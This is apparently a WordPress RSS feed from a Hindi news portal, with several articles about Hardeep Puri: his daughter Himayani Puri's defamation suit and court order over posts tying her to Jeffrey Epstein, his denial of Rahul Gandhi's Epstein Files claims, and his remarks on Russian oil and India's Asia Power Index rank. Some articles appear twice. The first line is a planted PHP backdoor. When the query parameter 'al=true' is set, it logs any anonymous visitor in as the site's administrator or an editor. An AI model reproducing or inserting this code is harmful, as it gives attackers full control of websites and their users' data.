// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); hardeep puri – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Tue, 17 Mar 2026 07:46:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 दिल्ली HC का आदेश: केंद्रीय मंत्री हरदीप पुरी की बेटी को जेफरी एपस्टीन से जोड़ने वाले कंटेंट पर लगी रोक https://pratyushaashakinayikiran.com/?p=205479 Tue, 17 Mar 2026 07:46:00 +0000 https://pratyushaashakinayikiran.com/?p=205479 नई दिल्ली

दिल्ली हाई कोर्ट ने केंद्रीय मंत्री हरदीप पुरी की बेटी हिमायनी पुरी को चाइल्ड सेक्स ऑफेंडर जेफरी एपस्टीन से जोड़कर बदनाम करने वाले कंटेंट को ब्लॉक करने का आदेश दिया है। अभी ये आदेश वैश्विक स्तर पर जारी नहीं हुए हैं। दरअसल हिमायनी पुरी ने जेफरी एपस्टीन से जोड़ने वाले पोस्ट को अपमानजनक बताते हुए याचिका दायर की थी, जिस पर दिल्ली हाई कोर्ट सुनवाई कर रहा है।

10 करोड़ रुपये के हर्जाने की मांग
अपने वाद में हिमायनी पुरी ने 10 करोड़ रुपये के हर्जाने की मांग की है। इसके साथ ही कई संस्थाओं को मानहानिकारक कंटेंट फैलाने से रोकने का आदेश देने का अनुरोध किया है। इस मामले में न्यायमूर्ति मिनी पुष्कर्ना सुनवाई कर रही हैं। पुरी की ओर से पेश वरिष्ठ अधिवक्ता महेश जेठमलानी का कहना है कि उन्हें अत्यंत अपमानजनक पोस्टों के जरिए निशाना बनाया जा रहा है। उन्होंने अज्ञात व्यक्तियों के खिलाफ 'जॉन डो' आदेश की मांग की है।

पुरी की ओर से पेश वकील ने क्या तर्क दिए
जेठमलानी का तर्क है कि यह सामग्री एक सुनियोजित हमले का हिस्सा प्रतीत होती है, जो व्यक्तिगत और संभावित राजनीतिक दुर्भावना का संकेत देती है। उनका यह भी कहना है कि पुरी से पूर्व में जुड़ी एक फर्म को एपस्टीन से धन प्राप्त होने के दावे पूरी तरह से झूठे और मनगढ़ंत हैं। जेठमलानी का कहना है कि ये आरोप पेशेवर कदाचार और नैतिक पतन के आरोप हैं, जो उनके अनुसार हिमायनी पुरी के खिलाफ मानहानिकारक हमले का मूल आधार हैं।

डिजिटल प्लेटफॉर्म पर फैलाई जा रही झूठी सामग्री
याचिका के अनुसार, 22 फरवरी 2026 के आसपास से सोशल मीडिया और अन्य ऑनलाइन प्लेटफॉर्म पर झूठे, भ्रामक एवं मानहानिकारक पोस्ट, आर्टिकल, वीडियो और डिजिटल कंटेंट फैलाए जा रहे हैं। इनमें एक्स, यूट्यूब, इंस्टाग्राम, फेसबुक, लिंक्डइन तथा अन्य डिजिटल न्यूज पोर्टल भी शामिल हैं।

केंद्रीय मंत्री की बेटी होने की वजह से बनाया जा रहा निशाना
हिमायनी पुरी ने कहा कि वह फाइनेंस और इनवेस्टमेंट सेक्टर में काम करती हैं। उन्हें केवल इसलिए निशाना बनाया जा रहा है क्योंकि वह केंद्रीय पेट्रोलियम और प्राकृतिक गैस मंत्री हरदीप सिंह पुरी की बेटी हैं। याचिका में कहा गया है कि प्रतिवादियों ने यह निराधार आरोप लगाए कि उनका एपस्टीन के साथ डायरेक्ट-इडायरेक्ट बिजनेस, फाइनेंस या निजी संबंध था। याचिका के अनुसार, इन आरोपों को पूरी तरह झूठा, दुर्भावनापूर्ण और तथ्यहीन बताया गया है।

चाइल्ड सेक्स ऑफेंडर जेफरी एपस्टीन
Jeffrey Epstein एक अमेरिकी फाइनेंसर था, जो बाद में नाबालिग लड़कियों के यौन शोषण और सेक्स ट्रैफिकिंग के गंभीर आरोपों के कारण दुनिया भर में कुख्यात हो गया। वह अमीर और प्रभावशाली लोगों से जुड़े अपने नेटवर्क के लिए भी चर्चा में रहा। 2008 में उसे नाबालिग से जुड़े अपराध में सजा मिली थी, लेकिन 2019 में दोबारा गिरफ्तार किया गया। उसी साल न्यूयॉर्क की जेल में उसकी संदिग्ध मौत हो गई, जिसे आधिकारिक तौर पर आत्महत्या बताया गया। एपस्टीन केस ने वैश्विक स्तर पर सत्ता, पैसे और यौन अपराधों के संबंध पर बहस छेड़ दी।

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जेफरी एपस्टीन कनेक्शन पर विवाद: हरदीप पुरी की बेटी ने हाईकोर्ट में ठोका 10 करोड़ का मानहानि केस https://pratyushaashakinayikiran.com/?p=205356 Mon, 16 Mar 2026 15:45:00 +0000 https://pratyushaashakinayikiran.com/?p=205356 नई दिल्ली
केंद्रीय मंत्री हरदीप सिंह पुरी की बेटी हिमायनी पुरी ने दिल्ली उच्च न्यायालय में 10 करोड़ रुपये का मानहानि मुकदमा दायर किया है। यह मुकदमा उन ऑनलाइन सामग्रियों और पोस्ट्स को हटाने की मांग के साथ लगाया गया है, जो उन्हें अमेरिकी बाल यौन अपराधी जेफरी एपस्टीन से जोड़ती हैं। हिमायनी ने विभिन्न सोशल मीडिया प्लेटफॉर्म्स, जैसे एक्स, गूगल, मेटा और लिंक्डइन के साथ-साथ अज्ञात व्यक्तियों के खिलाफ स्थायी निषेधाज्ञा की मांग की है। मुकदमे में कहा गया कि भविष्य में ऐसी कोई भी मानहानिकारक सामग्री सामने आने पर उसे तुरंत हटाया जाए। यह केस वरिष्ठ अधिवक्ता महेश जेठमलानी की ओर से तैयार किया गया है और लेक्स्टर लॉ एलएलपी के माध्यम से दायर किया गया। मामला जल्द ही सुनवाई के लिए सूचीबद्ध होने की उम्मीद है।

मुकदमे के अनुसार, 22 फरवरी 2026 से सोशल मीडिया पर विभिन्न पोस्ट्स और वीडियो वायरल होने लगे, जिनमें दावा किया गया कि हिमायनी पुरी का जेफरी एपस्टीन या उनकी आपराधिक गतिविधियों से प्रत्यक्ष या अप्रत्यक्ष व्यावसायिक, वित्तीय, व्यक्तिगत या अन्य संबंध थे। कुछ आरोपों में यह भी कहा गया कि जहां हिमायनी पुरी कार्यरत थीं, उस रियल पार्टनर्स एलएलसी ने एपस्टीन या उनके सहयोगियों से धन प्राप्त किया या संदिग्ध स्रोतों से फंडिंग ली। इसके अलावा, रॉबर्ट मिलार्ड के साथ मिलकर लेहमन ब्रदर्स के पतन में भूमिका निभाने का भी आरोप लगाया गया।

आरोपी पर हिमायनी ने क्या कहा
हिमायनी पुरी ने इन सभी दावों को पूरी तरह झूठा, दुर्भावनापूर्ण और बेबुनियाद करार दिया है। उन्होंने कहा कि ये आरोप उनकी प्रतिष्ठा को जानबूझकर नुकसान पहुंचाने के लिए फैलाए जा रहे हैं। मुकदमे में बताया गया कि प्रतिवादी विभिन्न सनसनीखेज तरीकों से इन झूठे आरोपों को फैला रहे हैं, जिसमें संपादित वीडियो, भ्रामक कैप्शन और जाली थंबनेल शामिल हैं। ये सामग्रियां डिजिटल वायरलिटी और जन आक्रोश पैदा करने के लिए डिजाइन की गई हैं।

हिमायनी पुरी का आरोप है कि उन्हें सुनियोजित अभियान के तहत निशाना बनाया जा रहा है, जिसका मकसद उन्हें भारत और अंतरराष्ट्रीय स्तर पर बदनाम करना है। मुकदमे में 10 करोड़ रुपये के हर्जाने की मांग की गई है, क्योंकि इन झूठे दावों से उनकी व्यक्तिगत और पेशेवर छवि को गंभीर क्षति पहुंची है। मुकदमे का मुख्य आधार यह है कि हिमायनी पुरी को केवल इसलिए निशाना बनाया जा रहा है क्योंकि वे केंद्रीय कैबिनेट के वरिष्ठ सदस्य हरदीप सिंह पुरी की बेटी हैं। सूट में कहा गया है कि हिमायनी एक सक्षम, आत्मनिर्भर और पेशेवर महिला हैं, लेकिन उनके पिता की राजनीतिक स्थिति के कारण उन्हें क्रूर हमलों का सामना करना पड़ रहा है। यह मामला एपस्टीन फाइल्स से जुड़े हालिया विवादों के संदर्भ में आया है, जिसमें हरदीप पुरी के नाम का भी जिक्र हुआ था, हालांकि हिमायनी ने इन आरोपों को आधारहीन बताया है।

 

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जेफरी एपस्टीन कनेक्शन पर विवाद: हरदीप पुरी की बेटी ने हाईकोर्ट में ठोका 10 करोड़ का मानहानि केस https://pratyushaashakinayikiran.com/?p=205358 Mon, 16 Mar 2026 15:45:00 +0000 https://pratyushaashakinayikiran.com/?p=205358 नई दिल्ली
केंद्रीय मंत्री हरदीप सिंह पुरी की बेटी हिमायनी पुरी ने दिल्ली उच्च न्यायालय में 10 करोड़ रुपये का मानहानि मुकदमा दायर किया है। यह मुकदमा उन ऑनलाइन सामग्रियों और पोस्ट्स को हटाने की मांग के साथ लगाया गया है, जो उन्हें अमेरिकी बाल यौन अपराधी जेफरी एपस्टीन से जोड़ती हैं। हिमायनी ने विभिन्न सोशल मीडिया प्लेटफॉर्म्स, जैसे एक्स, गूगल, मेटा और लिंक्डइन के साथ-साथ अज्ञात व्यक्तियों के खिलाफ स्थायी निषेधाज्ञा की मांग की है। मुकदमे में कहा गया कि भविष्य में ऐसी कोई भी मानहानिकारक सामग्री सामने आने पर उसे तुरंत हटाया जाए। यह केस वरिष्ठ अधिवक्ता महेश जेठमलानी की ओर से तैयार किया गया है और लेक्स्टर लॉ एलएलपी के माध्यम से दायर किया गया। मामला जल्द ही सुनवाई के लिए सूचीबद्ध होने की उम्मीद है।

मुकदमे के अनुसार, 22 फरवरी 2026 से सोशल मीडिया पर विभिन्न पोस्ट्स और वीडियो वायरल होने लगे, जिनमें दावा किया गया कि हिमायनी पुरी का जेफरी एपस्टीन या उनकी आपराधिक गतिविधियों से प्रत्यक्ष या अप्रत्यक्ष व्यावसायिक, वित्तीय, व्यक्तिगत या अन्य संबंध थे। कुछ आरोपों में यह भी कहा गया कि जहां हिमायनी पुरी कार्यरत थीं, उस रियल पार्टनर्स एलएलसी ने एपस्टीन या उनके सहयोगियों से धन प्राप्त किया या संदिग्ध स्रोतों से फंडिंग ली। इसके अलावा, रॉबर्ट मिलार्ड के साथ मिलकर लेहमन ब्रदर्स के पतन में भूमिका निभाने का भी आरोप लगाया गया।

आरोपी पर हिमायनी ने क्या कहा
हिमायनी पुरी ने इन सभी दावों को पूरी तरह झूठा, दुर्भावनापूर्ण और बेबुनियाद करार दिया है। उन्होंने कहा कि ये आरोप उनकी प्रतिष्ठा को जानबूझकर नुकसान पहुंचाने के लिए फैलाए जा रहे हैं। मुकदमे में बताया गया कि प्रतिवादी विभिन्न सनसनीखेज तरीकों से इन झूठे आरोपों को फैला रहे हैं, जिसमें संपादित वीडियो, भ्रामक कैप्शन और जाली थंबनेल शामिल हैं। ये सामग्रियां डिजिटल वायरलिटी और जन आक्रोश पैदा करने के लिए डिजाइन की गई हैं।

हिमायनी पुरी का आरोप है कि उन्हें सुनियोजित अभियान के तहत निशाना बनाया जा रहा है, जिसका मकसद उन्हें भारत और अंतरराष्ट्रीय स्तर पर बदनाम करना है। मुकदमे में 10 करोड़ रुपये के हर्जाने की मांग की गई है, क्योंकि इन झूठे दावों से उनकी व्यक्तिगत और पेशेवर छवि को गंभीर क्षति पहुंची है। मुकदमे का मुख्य आधार यह है कि हिमायनी पुरी को केवल इसलिए निशाना बनाया जा रहा है क्योंकि वे केंद्रीय कैबिनेट के वरिष्ठ सदस्य हरदीप सिंह पुरी की बेटी हैं। सूट में कहा गया है कि हिमायनी एक सक्षम, आत्मनिर्भर और पेशेवर महिला हैं, लेकिन उनके पिता की राजनीतिक स्थिति के कारण उन्हें क्रूर हमलों का सामना करना पड़ रहा है। यह मामला एपस्टीन फाइल्स से जुड़े हालिया विवादों के संदर्भ में आया है, जिसमें हरदीप पुरी के नाम का भी जिक्र हुआ था, हालांकि हिमायनी ने इन आरोपों को आधारहीन बताया है।

 

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Epstein Files पर राहुल गांधी के आरोपों पर भड़के हरदीप पुरी, बोले– बेबुनियाद हैं सभी दावे https://pratyushaashakinayikiran.com/?p=197113 Wed, 11 Feb 2026 15:15:00 +0000 https://pratyushaashakinayikiran.com/?p=197113 नई दिल्ली

लोकसभा में बजट पर चर्चा के दौरान आज कांग्रेस संसद राहुल गांधी ने Epstein Files का जिक्र करते हुए सरकार पर हमला बोला। राहुल गांधी ने दावा किया कि अमेरिका के जस्टिस डिपार्टमेंट के पास मौजूद इन दस्तावेजों में एक केंद्रीय मंत्री और एक प्रमुख उद्योगपति का नाम शामिल है।

सदन को संबोधित करते हुए राहुल गांधी ने सवाल उठाया कि एक खास उद्योगपति अभी तक जेल से बाहर क्यों है, जबकि उसका नाम अंतरराष्ट्रीय स्तर पर विवादित फाइलों में है। उन्होंने सीधे तौर पर केंद्रीय मंत्री हरदीप सिंह पुरी का नाम लेते हुए पूछा, "मंत्री जी बताएं कि उस उद्योगपति को एपस्टीन से किसने मिलवाया था?" सदन के बाहर भी राहुल ने दोहराया कि भारत की रणनीतिक स्वतंत्रता खतरे में है और सरकार बाहरी दबाव में काम कर रही है।

इन आरोपों को खारिज करते हुए केंद्रीय मंत्री हरदीप सिंह पुरी ने साफ किया कि राहुल गांधी का हमला पूरी तरह से बेबुनियाद है। उन्होंने बताया कि साल 2014 में जब वे एक अंतरराष्ट्रीय संस्था (IPI) से जुड़े थे और न्यूयॉर्क में थे, तब एक प्रतिनिधिमंडल के हिस्से के रूप में उनकी जेफरी एपस्टीन से दो-तीन बार औपचारिक मुलाकात हुई थी।

जेफरी एपस्टीन अमेरिका का एक बदनाम फाइनेंसर था, जिस पर नाबालिगों के यौन शोषण और मानव तस्करी के आरोप थे। उसकी मृत्यु के बाद जारी की गई फाइलों में दुनिया भर की कई नामचीन हस्तियों, राजनेताओं और वैज्ञानिकों के नाम शामिल हैं, जो कभी न कभी उसके संपर्क में रहे थे।

 

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Epstein Files पर राहुल गांधी के आरोपों पर भड़के हरदीप पुरी, बोले– बेबुनियाद हैं सभी दावे https://pratyushaashakinayikiran.com/?p=197114 Wed, 11 Feb 2026 15:15:00 +0000 https://pratyushaashakinayikiran.com/?p=197114 नई दिल्ली

लोकसभा में बजट पर चर्चा के दौरान आज कांग्रेस संसद राहुल गांधी ने Epstein Files का जिक्र करते हुए सरकार पर हमला बोला। राहुल गांधी ने दावा किया कि अमेरिका के जस्टिस डिपार्टमेंट के पास मौजूद इन दस्तावेजों में एक केंद्रीय मंत्री और एक प्रमुख उद्योगपति का नाम शामिल है।

सदन को संबोधित करते हुए राहुल गांधी ने सवाल उठाया कि एक खास उद्योगपति अभी तक जेल से बाहर क्यों है, जबकि उसका नाम अंतरराष्ट्रीय स्तर पर विवादित फाइलों में है। उन्होंने सीधे तौर पर केंद्रीय मंत्री हरदीप सिंह पुरी का नाम लेते हुए पूछा, "मंत्री जी बताएं कि उस उद्योगपति को एपस्टीन से किसने मिलवाया था?" सदन के बाहर भी राहुल ने दोहराया कि भारत की रणनीतिक स्वतंत्रता खतरे में है और सरकार बाहरी दबाव में काम कर रही है।

इन आरोपों को खारिज करते हुए केंद्रीय मंत्री हरदीप सिंह पुरी ने साफ किया कि राहुल गांधी का हमला पूरी तरह से बेबुनियाद है। उन्होंने बताया कि साल 2014 में जब वे एक अंतरराष्ट्रीय संस्था (IPI) से जुड़े थे और न्यूयॉर्क में थे, तब एक प्रतिनिधिमंडल के हिस्से के रूप में उनकी जेफरी एपस्टीन से दो-तीन बार औपचारिक मुलाकात हुई थी।

जेफरी एपस्टीन अमेरिका का एक बदनाम फाइनेंसर था, जिस पर नाबालिगों के यौन शोषण और मानव तस्करी के आरोप थे। उसकी मृत्यु के बाद जारी की गई फाइलों में दुनिया भर की कई नामचीन हस्तियों, राजनेताओं और वैज्ञानिकों के नाम शामिल हैं, जो कभी न कभी उसके संपर्क में रहे थे।

 

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केंद्रीय मंत्री पुरी बोले- रूस से तेल खरीदकर भारत ने दुनिया पर किया एहसान, नहीं तो… https://pratyushaashakinayikiran.com/?p=95566 Fri, 08 Nov 2024 14:46:00 +0000 https://pratyushaashakinayikiran.com/?p=95566 नई दिल्ली
भारत ने रूस के तेल खरीदकर पूरी दुनिया की मदद की है। यह दावा है केंद्रीय पेट्रोलियम और प्राकृतिक गैस मंत्री हरदीप सिंह पुरी का। पुरी ने गुरुवार को कहा कि वैश्विक अनिश्चितताओं के बीच रूस से तेल खरीदने के भारत के फैसले ने वैश्विक तेल की कीमतों में संभावित भारी बढ़ोतरी को टालने में मदद की। उन्होंने कहा कि अगर भारत ने रूस से तेल नहीं खरीदा होता तो दुनिया भर में तेल के दाम 200 डॉलर प्रति बैरल तक पहुंच सकते थे। पुरी ने सस्ता रूसी तेल खरीदने की आलोचना करने वालों को करारा जवाब दिया है। पुरी ने अपनी पोस्ट में एक वीडियो भी शेयर किया है, जिसमें वे इंटरव्यू देते नजर आ रहे हैं।

पुरी ने साफ किया है कि भारत ने रूस से तेल खरीदना जारी रखा है और ऐसा करने में कोई नियम नहीं तोड़ा है। उन्होंने उन लोगों को 'अज्ञानी' कहा जो भारत पर प्रतिबंध लगाने की बात करते हैं। मंत्री ने जोर देकर कहा कि रूसी तेल पर कोई प्रतिबंध नहीं है, बल्कि एक मूल्य प्राइस कैप लगा है। भारतीय कंपनियां इस सीमा का पालन कर रही हैं। उन्होंने आगे कहा कि कई यूरोपीय और एशियाई देश भी रूस से अरबों डॉलर का कच्चा तेल, डीजल, एलएनजी और अन्य जरूरी खनिज खरीद रहे हैं।

'हम उन 7 करोड़ नागरिकों के लिए…'

पुरी ने आगे कहा कि 'हम लगातार उन सभी से एनर्जी खरीदेंगे, जो हमारी कंपनियों को सबसे कम रेट ऑफर कर रहे हैं। यह पीएम नरेंद्र मोदी की लीडरशिप का कॉन्फिडेंस है।' साथ ही उन्होंने कहा, 'हम हमारे उन 7 करोड़ नागरिकों के लिए एनर्जी की स्टेबल अवेलेबिलिटी, अफॉर्डेबिलिटी और सस्टेनेबिलिटी सुनिश्चित करेंगे, जो रोज पेट्रोल पंप जाते हैं। यह हमारी टॉप प्रायोरिटी है।'
हरदीप सिंह पुरी ने कहा कि भारत अकेला ऐसा बड़ा ऑयल कंज्यूमर है, जहां पिछले 3 वर्षों से तेल की कीमतों में महत्वपूर्ण गिरावट आई है।

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हरदीप पुरी ने पीएम मोदी के नेतृत्व की प्रशंसा करते हुए कहा- ‘एशिया में तीसरा सबसे शक्तिशाली देश बना भारत’ https://pratyushaashakinayikiran.com/?p=74804 Tue, 24 Sep 2024 22:45:00 +0000 https://pratyushaashakinayikiran.com/?p=74804 नई दिल्ली
भारत पहली बार एशिया में तीसरा सबसे शक्तिशाली देश बन गया है। ऑस्ट्रेलियाई थिंक टैंक लोवी इंस्टीट्यूट की ओर जारी 'एशिया पावर इंडेक्स-2024' में इसकी जानकारी दी है। भारत, रूस और जापान जैसे सुपरपावर देशों को पछाड़कर तीसरे स्थान पर पहुंच गया है। इसके साथ ही भारत अब विश्व में सिर्फ अमेरिका और चीन से पीछे है। केंद्रीय मंत्री हरदीप सिंह पुरी ने इस रिपोर्ट पर अपनी प्रतिक्रिया दी। उन्होंने 'एशिया पावर इंडेक्स-2024' में भारत की बढ़त का श्रेय प्रधानमंत्री नरेंद्र मोदी के दूरदर्शी नेतृत्व और वैश्विक रणनीति को दिया है।

उन्होंने देश की बढ़ती ताकत की सराहना करते हुए कहा, "भारत का उत्थान कोई आर्श्चचकित करने वाली बात नहीं है। यह प्रधानमंत्री मोदी की आक्रामक कूटनीतिक रणनीति और विश्व में भारत का स्थान दोबारा बनाने की उनकी साहसिक महत्वाकांक्षाओं का प्रत्यक्ष परिणाम है। उनके नेतृत्व के बिना, भारत अभी भी पीछे होता, लेकिन आज, हम एक राष्ट्र को महाशक्ति की स्थिति के कगार पर देखते हैं।''

केंद्रीय मंत्री हरदीप पुरी ने कहा, "यह विश्व मंच पर पीएम मोदी का अथक प्रयास हैं, जिसने भारत को मानचित्र पर वापस ला दिया है। उन्होंने भारत की गुट निरपेक्ष नीति को अपनाया है और इसे वैश्विक कूटनीति में लाभ उठाने के लिए एक शक्तिशाली उपकरण में बदल दिया है।"

उन्होंने आगे कहा, "हालांकि, चीन जैसे देश में उम्रदराज लोगों की संख्या बढ़ रही है और चीन मंदी का सामना कर रहा है। वहीं, पीएम मोदी के नेतृत्व में भारत के पास एशिया के नए किंगमेकर के रूप उभरने के लिए संसाधन और नेतृत्व हैं। जो लोग भारत के उत्थान पर पीएम मोदी के प्रभाव पर सवाल उठाते हैं, उन्हें केवल तथ्यों को देखने की जरूरत है। भारत की प्रगति आगे है और दुनिया अब इसे नजरअंदाज नहीं कर सकती है।''

वरिष्ठ भाजपा नेता ने पिछली कांग्रेस सरकारों पर भी निशाना साधा और कहा, "पिछली सरकार के अनिर्णायक और दिशाहीन दृष्टिकोण ने देश को दिशाहीन छोड़ दिया गया था। उन्होंने कहा कि भारतीय अर्थव्यवस्था 2043 तक तीसरी सबसे बड़ी होगी और पीएम मोदी इसकी गारंटी दे रहे हैं कि उनके कार्यकाल में भी ऐसा ही होगा। वास्तव में, आईएमएफ ने हाल ही में अनुमान लगाया है कि भारत 2027 तक तीसरी सबसे बड़ी अर्थव्यवस्था होगा। पिछली सरकारों के नेतृत्व में, भारत कभी भी किसी भी शक्ति सूचकांक में शीर्ष तीन में जगह नहीं बना पाता।''

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